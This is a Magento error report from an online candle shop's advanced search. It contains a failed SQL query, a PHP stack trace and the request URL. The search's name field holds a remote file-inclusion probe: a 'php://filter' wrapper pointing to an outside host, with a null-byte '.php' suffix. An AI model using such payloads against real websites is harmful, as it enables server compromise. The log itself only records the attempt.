{"0":"SQLSTATE[42000]: Syntax error or access violation: 1064 syntax error, unexpected $end, query was: INSERT INTO `mg4y_search_tmp_60d5465e85a724_03258337` SELECT `main_select`.`entity_id`, SUM(score) AS `relevance` FROM (SELECT DISTINCT  `eav_index`.`entity_id`, (((0) + (0) + (0) + (0) + (0)) * 1 + LEAST((MATCH (data_index) AGAINST ('+php* +filter* +resource* +http* +r87* +com* +n* +\\0* +php*' IN BOOLEAN MODE)), 1000000) * POW(2, search_weight)) AS `score` FROM `mg4y_catalog_product_index_eav` AS `eav_index`\n INNER JOIN `mg4y_catalogsearch_fulltext_scope1` AS `search_index` ON eav_index.entity_id = search_index.entity_id\n INNER JOIN `mg4y_catalog_eav_attribute` AS `cea` ON search_index.attribute_id = cea.attribute_id\n INNER JOIN `mg4y_cataloginventory_stock_status` AS `stock_index` ON stock_index.product_id = eav_index.entity_id AND `stock_index`.`website_id` = 0 AND `stock_index`.`stock_id` = 1\n INNER JOIN `mg4y_catalog_product_index_eav` AS `candle_flavor_notes_filter` ON `eav_index`.`entity_id` = `candle_flavor_notes_filter`.`entity_id` AND `candle_flavor_notes_filter`.`attribute_id` = 138 AND `candle_flavor_notes_filter`.`store_id` = 1\n INNER JOIN `mg4y_catalog_product_index_eav` AS `candle_fragrance_filter` ON `eav_index`.`entity_id` = `candle_fragrance_filter`.`entity_id` AND `candle_fragrance_filter`.`attribute_id` = 143 AND `candle_fragrance_filter`.`store_id` = 1\n INNER JOIN `mg4y_catalog_product_index_eav` AS `candle_occassion_filter` ON `eav_index`.`entity_id` = `candle_occassion_filter`.`entity_id` AND `candle_occassion_filter`.`attribute_id` = 153 AND `candle_occassion_filter`.`store_id` = 1\n INNER JOIN `mg4y_catalog_product_index_eav` AS `candle_scent_filter` ON `eav_index`.`entity_id` = `candle_scent_filter`.`entity_id` AND `candle_scent_filter`.`attribute_id` = 142 AND `candle_scent_filter`.`store_id` = 1\n INNER JOIN `mg4y_catalog_product_index_eav` AS `candle_volume_filter` ON `eav_index`.`entity_id` = `candle_volume_filter`.`entity_id` AND `candle_volume_filter`.`attribute_id` = 139 AND `candle_volume_filter`.`store_id` = 1\n INNER JOIN `mg4y_cataloginventory_stock_status` AS `candle_flavor_notes_filter_stock_index` ON candle_flavor_notes_filter_stock_index.product_id = candle_flavor_notes_filter.source_id AND `candle_flavor_notes_filter_stock_index`.`website_id` = 0 AND `candle_flavor_notes_filter_stock_index`.`stock_id` = 1\n INNER JOIN `mg4y_cataloginventory_stock_status` AS `candle_fragrance_filter_stock_index` ON candle_fragrance_filter_stock_index.product_id = candle_fragrance_filter.source_id AND `candle_fragrance_filter_stock_index`.`website_id` = 0 AND `candle_fragrance_filter_stock_index`.`stock_id` = 1\n INNER JOIN `mg4y_cataloginventory_stock_status` AS `candle_occassion_filter_stock_index` ON candle_occassion_filter_stock_index.product_id = candle_occassion_filter.source_id AND `candle_occassion_filter_stock_index`.`website_id` = 0 AND `candle_occassion_filter_stock_index`.`stock_id` = 1\n INNER JOIN `mg4y_cataloginventory_stock_status` AS `candle_scent_filter_stock_index` ON candle_scent_filter_stock_index.product_id = candle_scent_filter.source_id AND `candle_scent_filter_stock_index`.`website_id` = 0 AND `candle_scent_filter_stock_index`.`stock_id` = 1\n INNER JOIN `mg4y_cataloginventory_stock_status` AS `candle_volume_filter_stock_index` ON candle_volume_filter_stock_index.product_id = candle_volume_filter.source_id AND `candle_volume_filter_stock_index`.`website_id` = 0 AND `candle_volume_filter_stock_index`.`stock_id` = 1 WHERE (eav_index.store_id = '1') AND (candle_flavor_notes_filter.value  IN ('126')) AND (candle_fragrance_filter.value  IN ('51')) AND (candle_occassion_filter.value  IN ('166')) AND (candle_scent_filter.value  IN ('121')) AND (candle_volume_filter.value  IN ('29')) AND ((MATCH (data_index) AGAINST ('+php* +filter* +resource* +http* +r87* +com* +n* +\\0* +php*' IN BOOLEAN MODE) AND search_index.attribute_id IN (73)))) AS `main_select` GROUP BY `entity_id` ORDER BY `relevance` DESC, `entity_id` DESC\n LIMIT 10000","1":"#1 Magento\\Framework\\DB\\Statement\\Pdo\\Mysql->_execute(array()) called at [vendor\/magento\/zendframework1\/library\/Zend\/Db\/Statement.php:303]\n#2 Zend_Db_Statement->execute(array()) called at [vendor\/magento\/zendframework1\/library\/Zend\/Db\/Adapter\/Abstract.php:480]\n#3 Zend_Db_Adapter_Abstract->query('INSERT INTO `mg4...', array()) called at [vendor\/magento\/zendframework1\/library\/Zend\/Db\/Adapter\/Pdo\/Abstract.php:238]\n#4 Zend_Db_Adapter_Pdo_Abstract->query('INSERT INTO `mg4...', array()) called at [vendor\/magento\/framework\/DB\/Adapter\/Pdo\/Mysql.php:546]\n#5 Magento\\Framework\\DB\\Adapter\\Pdo\\Mysql->_query('INSERT INTO `mg4...', array()) called at [vendor\/magento\/framework\/DB\/Adapter\/Pdo\/Mysql.php:613]\n#6 Magento\\Framework\\DB\\Adapter\\Pdo\\Mysql->query('INSERT INTO `mg4...', array()) called at [generated\/code\/Magento\/Framework\/DB\/Adapter\/Pdo\/Mysql\/Interceptor.php:128]\n#7 Magento\\Framework\\DB\\Adapter\\Pdo\\Mysql\\Interceptor->query('INSERT INTO `mg4...') called at [vendor\/magento\/framework\/Search\/Adapter\/Mysql\/TemporaryStorage.php:117]\n#8 Magento\\Framework\\Search\\Adapter\\Mysql\\TemporaryStorage->storeDocumentsFromSelect(&Magento\\Framework\\DB\\Select#0000000011e888f7000000006f713842#) called at [vendor\/magento\/framework\/Search\/Adapter\/Mysql\/Adapter.php:92]\n#9 Magento\\Framework\\Search\\Adapter\\Mysql\\Adapter->query(&Magento\\Framework\\Search\\Request#0000000011e888fc000000006f713842#) called at [vendor\/magento\/module-search\/Model\/SearchEngine.php:42]\n#10 Magento\\Search\\Model\\SearchEngine->search(&Magento\\Framework\\Search\\Request#0000000011e888fc000000006f713842#) called at [vendor\/magento\/framework\/Search\/Search.php:85]\n#11 Magento\\Framework\\Search\\Search->search(&Magento\\Framework\\Api\\Search\\SearchCriteria#0000000011e8888a000000006f713842#) called at [vendor\/magento\/module-catalog-search\/Model\/ResourceModel\/Advanced\/Collection.php:340]\n#12 Magento\\CatalogSearch\\Model\\ResourceModel\\Advanced\\Collection->_renderFiltersBefore() called at [vendor\/magento\/framework\/Data\/Collection\/AbstractDb.php:343]\n#13 Magento\\Framework\\Data\\Collection\\AbstractDb->_renderFilters() called at [vendor\/magento\/module-eav\/Model\/Entity\/Collection\/AbstractCollection.php:923]\n#14 Magento\\Eav\\Model\\Entity\\Collection\\AbstractCollection->load(false, false) called at [vendor\/magento\/module-catalog\/Model\/ResourceModel\/Product\/Collection.php:832]\n#15 Magento\\Catalog\\Model\\ResourceModel\\Product\\Collection->load(false, false) called at [vendor\/magento\/framework\/Interception\/Interceptor.php:58]\n#16 Magento\\CatalogSearch\\Model\\ResourceModel\\Advanced\\Collection\\Interceptor->___callParent('load', array(false, false)) called at [vendor\/magento\/framework\/Interception\/Interceptor.php:138]\n#17 Magento\\CatalogSearch\\Model\\ResourceModel\\Advanced\\Collection\\Interceptor->Magento\\Framework\\Interception\\{closure}() called at [vendor\/magento\/framework\/Interception\/Interceptor.php:153]\n#18 Magento\\CatalogSearch\\Model\\ResourceModel\\Advanced\\Collection\\Interceptor->___callPlugins('load', array(), array(array('add_stock_inform...'))) called at [generated\/code\/Magento\/CatalogSearch\/Model\/ResourceModel\/Advanced\/Collection\/Interceptor.php:273]\n#19 Magento\\CatalogSearch\\Model\\ResourceModel\\Advanced\\Collection\\Interceptor->load() called at [vendor\/magento\/framework\/Data\/Collection.php:838]\n#20 Magento\\Framework\\Data\\Collection->getIterator() called at [generated\/code\/Magento\/CatalogSearch\/Model\/ResourceModel\/Advanced\/Collection\/Interceptor.php:1792]\n#21 Magento\\CatalogSearch\\Model\\ResourceModel\\Advanced\\Collection\\Interceptor->getIterator() called at [vendor\/magento\/module-catalog\/Block\/Product\/ListProduct.php:357]\n#22 Magento\\Catalog\\Block\\Product\\ListProduct->getIdentities() called at [vendor\/magento\/module-page-cache\/Model\/Layout\/LayoutPlugin.php:75]\n#23 Magento\\PageCache\\Model\\Layout\\LayoutPlugin->afterGetOutput(&Magento\\Framework\\View\\Layout\\Interceptor#0000000011e88013000000006f713842#, '\\n\\n<script type=\"...') called at [vendor\/magento\/framework\/Interception\/Interceptor.php:146]\n#24 Magento\\Framework\\View\\Layout\\Interceptor->Magento\\Framework\\Interception\\{closure}() called at [vendor\/magento\/framework\/Interception\/Interceptor.php:153]\n#25 Magento\\Framework\\View\\Layout\\Interceptor->___callPlugins('getOutput', array(), array(array('layout-model-cac...'))) called at [generated\/code\/Magento\/Framework\/View\/Layout\/Interceptor.php:494]\n#26 Magento\\Framework\\View\\Layout\\Interceptor->getOutput() called at [vendor\/magento\/framework\/View\/Result\/Page.php:258]\n#27 Magento\\Framework\\View\\Result\\Page->render(&Magento\\Framework\\App\\Response\\Http\\Interceptor#0000000011e8820b000000006f713842#) called at [vendor\/magento\/framework\/View\/Result\/Layout.php:171]\n#28 Magento\\Framework\\View\\Result\\Layout->renderResult(&Magento\\Framework\\App\\Response\\Http\\Interceptor#0000000011e8820b000000006f713842#) called at [vendor\/magento\/framework\/Interception\/Interceptor.php:58]\n#29 Magento\\Framework\\View\\Result\\Page\\Interceptor->___callParent('renderResult', array(&Magento\\Framework\\App\\Response\\Http\\Interceptor#0000000011e8820b000000006f713842#)) called at [vendor\/magento\/framework\/Interception\/Interceptor.php:138]\n#30 Magento\\Framework\\View\\Result\\Page\\Interceptor->Magento\\Framework\\Interception\\{closure}(&Magento\\Framework\\App\\Response\\Http\\Interceptor#0000000011e8820b000000006f713842#) called at [vendor\/magento\/framework\/Interception\/Interceptor.php:153]\n#31 Magento\\Framework\\View\\Result\\Page\\Interceptor->___callPlugins('renderResult', array(&Magento\\Framework\\App\\Response\\Http\\Interceptor#0000000011e8820b000000006f713842#), array(array('result-messages', 'result-builtin-c...', 'result-varnish-c...'))) called at [generated\/code\/Magento\/Framework\/View\/Result\/Page\/Interceptor.php:130]\n#32 Magento\\Framework\\View\\Result\\Page\\Interceptor->renderResult(&Magento\\Framework\\App\\Response\\Http\\Interceptor#0000000011e8820b000000006f713842#) called at [vendor\/magento\/framework\/App\/View.php:221]\n#33 Magento\\Framework\\App\\View->renderLayout() called at [vendor\/magento\/module-catalog-search\/Controller\/Advanced\/Result.php:67]\n#34 Magento\\CatalogSearch\\Controller\\Advanced\\Result->execute() called at [generated\/code\/Magento\/CatalogSearch\/Controller\/Advanced\/Result\/Interceptor.php:24]\n#35 Magento\\CatalogSearch\\Controller\\Advanced\\Result\\Interceptor->execute() called at [vendor\/magento\/framework\/App\/Action\/Action.php:108]\n#36 Magento\\Framework\\App\\Action\\Action->dispatch(&Magento\\Framework\\App\\Request\\Http#0000000011e8827f000000006f713842#) called at [vendor\/magento\/framework\/Interception\/Interceptor.php:58]\n#37 Magento\\CatalogSearch\\Controller\\Advanced\\Result\\Interceptor->___callParent('dispatch', array(&Magento\\Framework\\App\\Request\\Http#0000000011e8827f000000006f713842#)) called at [vendor\/magento\/framework\/Interception\/Interceptor.php:138]\n#38 Magento\\CatalogSearch\\Controller\\Advanced\\Result\\Interceptor->Magento\\Framework\\Interception\\{closure}(&Magento\\Framework\\App\\Request\\Http#0000000011e8827f000000006f713842#) called at [vendor\/magento\/framework\/Interception\/Interceptor.php:153]\n#39 Magento\\CatalogSearch\\Controller\\Advanced\\Result\\Interceptor->___callPlugins('dispatch', array(&Magento\\Framework\\App\\Request\\Http#0000000011e8827f000000006f713842#), array(array('designLoader', 'customerNotifica...', 'catalog_app_acti...', 'tax-app-action-d...', 'weee-app-action-...', 'storeCheck', 'contextPlugin', 'customer-app-act...'))) called at [generated\/code\/Magento\/CatalogSearch\/Controller\/Advanced\/Result\/Interceptor.php:39]\n#40 Magento\\CatalogSearch\\Controller\\Advanced\\Result\\Interceptor->dispatch(&Magento\\Framework\\App\\Request\\Http#0000000011e8827f000000006f713842#) called at [vendor\/magento\/framework\/App\/FrontController.php:162]\n#41 Magento\\Framework\\App\\FrontController->processRequest(&Magento\\Framework\\App\\Request\\Http#0000000011e8827f000000006f713842#, &Magento\\CatalogSearch\\Controller\\Advanced\\Result\\Interceptor#0000000011e881b1000000006f713842#) called at [vendor\/magento\/framework\/App\/FrontController.php:98]\n#42 Magento\\Framework\\App\\FrontController->dispatch(&Magento\\Framework\\App\\Request\\Http#0000000011e8827f000000006f713842#) called at [vendor\/magento\/framework\/Interception\/Interceptor.php:58]\n#43 Magento\\Framework\\App\\FrontController\\Interceptor->___callParent('dispatch', array(&Magento\\Framework\\App\\Request\\Http#0000000011e8827f000000006f713842#)) called at [vendor\/magento\/framework\/Interception\/Interceptor.php:138]\n#44 Magento\\Framework\\App\\FrontController\\Interceptor->Magento\\Framework\\Interception\\{closure}(&Magento\\Framework\\App\\Request\\Http#0000000011e8827f000000006f713842#) called at [vendor\/magento\/module-store\/App\/FrontController\/Plugin\/RequestPreprocessor.php:99]\n#45 Magento\\Store\\App\\FrontController\\Plugin\\RequestPreprocessor->aroundDispatch(&Magento\\Framework\\App\\FrontController\\Interceptor#0000000011e88394000000006f713842#, &Closure#0000000011e88349000000006f713842#, &Magento\\Framework\\App\\Request\\Http#0000000011e8827f000000006f713842#) called at [vendor\/magento\/framework\/Interception\/Interceptor.php:135]\n#46 Magento\\Framework\\App\\FrontController\\Interceptor->Magento\\Framework\\Interception\\{closure}(&Magento\\Framework\\App\\Request\\Http#0000000011e8827f000000006f713842#) called at [vendor\/magento\/module-page-cache\/Model\/App\/FrontController\/BuiltinPlugin.php:73]\n#47 Magento\\PageCache\\Model\\App\\FrontController\\BuiltinPlugin->aroundDispatch(&Magento\\Framework\\App\\FrontController\\Interceptor#0000000011e88394000000006f713842#, &Closure#0000000011e88349000000006f713842#, &Magento\\Framework\\App\\Request\\Http#0000000011e8827f000000006f713842#) called at [vendor\/magento\/framework\/Interception\/Interceptor.php:135]\n#48 Magento\\Framework\\App\\FrontController\\Interceptor->Magento\\Framework\\Interception\\{closure}(&Magento\\Framework\\App\\Request\\Http#0000000011e8827f000000006f713842#) called at [vendor\/magento\/framework\/Interception\/Interceptor.php:153]\n#49 Magento\\Framework\\App\\FrontController\\Interceptor->___callPlugins('dispatch', array(&Magento\\Framework\\App\\Request\\Http#0000000011e8827f000000006f713842#), NULL) called at [generated\/code\/Magento\/Framework\/App\/FrontController\/Interceptor.php:26]\n#50 Magento\\Framework\\App\\FrontController\\Interceptor->dispatch(&Magento\\Framework\\App\\Request\\Http#0000000011e8827f000000006f713842#) called at [vendor\/magento\/framework\/App\/Http.php:116]\n#51 Magento\\Framework\\App\\Http->launch() called at [generated\/code\/Magento\/Framework\/App\/Http\/Interceptor.php:24]\n#52 Magento\\Framework\\App\\Http\\Interceptor->launch() called at [vendor\/magento\/framework\/App\/Bootstrap.php:261]\n#53 Magento\\Framework\\App\\Bootstrap->run(&Magento\\Framework\\App\\Http\\Interceptor#0000000011e88212000000006f713842#) called at [index.php:39]\n","url":"\/catalogsearch\/advanced\/result\/?name=php%3a%2f%2ffilter%2f%2fresource%3dhttp%3a%2f%2fr87.com%2fn%3f%00.php&sku=&description=&short_description=&price%5bfrom%5d=&price%5bto%5d=&candle_flavor_notes%5b%5d=126&candle_volume%5b%5d=29&candle_scent%5b%5d=121&candle_fragrance%5b%5d=51&candle_occassion%5b%5d=166","script_name":"\/index.php","report_id":"72ba41cbec2d15d8f66229b4efee4604b23a8b0a6acc29a992e0095a725747ff"}